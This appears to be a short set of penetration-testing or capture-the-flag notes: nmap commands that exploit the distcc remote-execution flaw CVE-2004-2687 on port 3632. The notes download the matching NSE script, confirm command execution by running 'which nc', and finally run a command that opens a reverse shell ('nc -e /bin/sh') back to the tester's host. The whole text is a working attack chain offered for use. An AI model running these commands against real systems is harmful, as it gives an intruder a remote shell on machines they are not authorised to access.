nmap --script distcc-cve2004-2687 -p 3632 10.10.10.10
# Download and store in script driectory
wget https://svn.nmap.org/nmap/scripts/distcc-cve2004-2687.nse -O /usr/share/nmap/scripts/distcc-exec.nse
# Verity the vulnerablity
nmap -p 3632 10.10.10.10 --script distcc-exec --script-args="distcc-exec.cmd='which nc'"
# Running scripte with reverse shell
nmap -p 3632 10.10.10.10 --script distcc-exec --script-args="distcc-exec.cmd='nc -e /bin/sh 10.10.14.24 443'"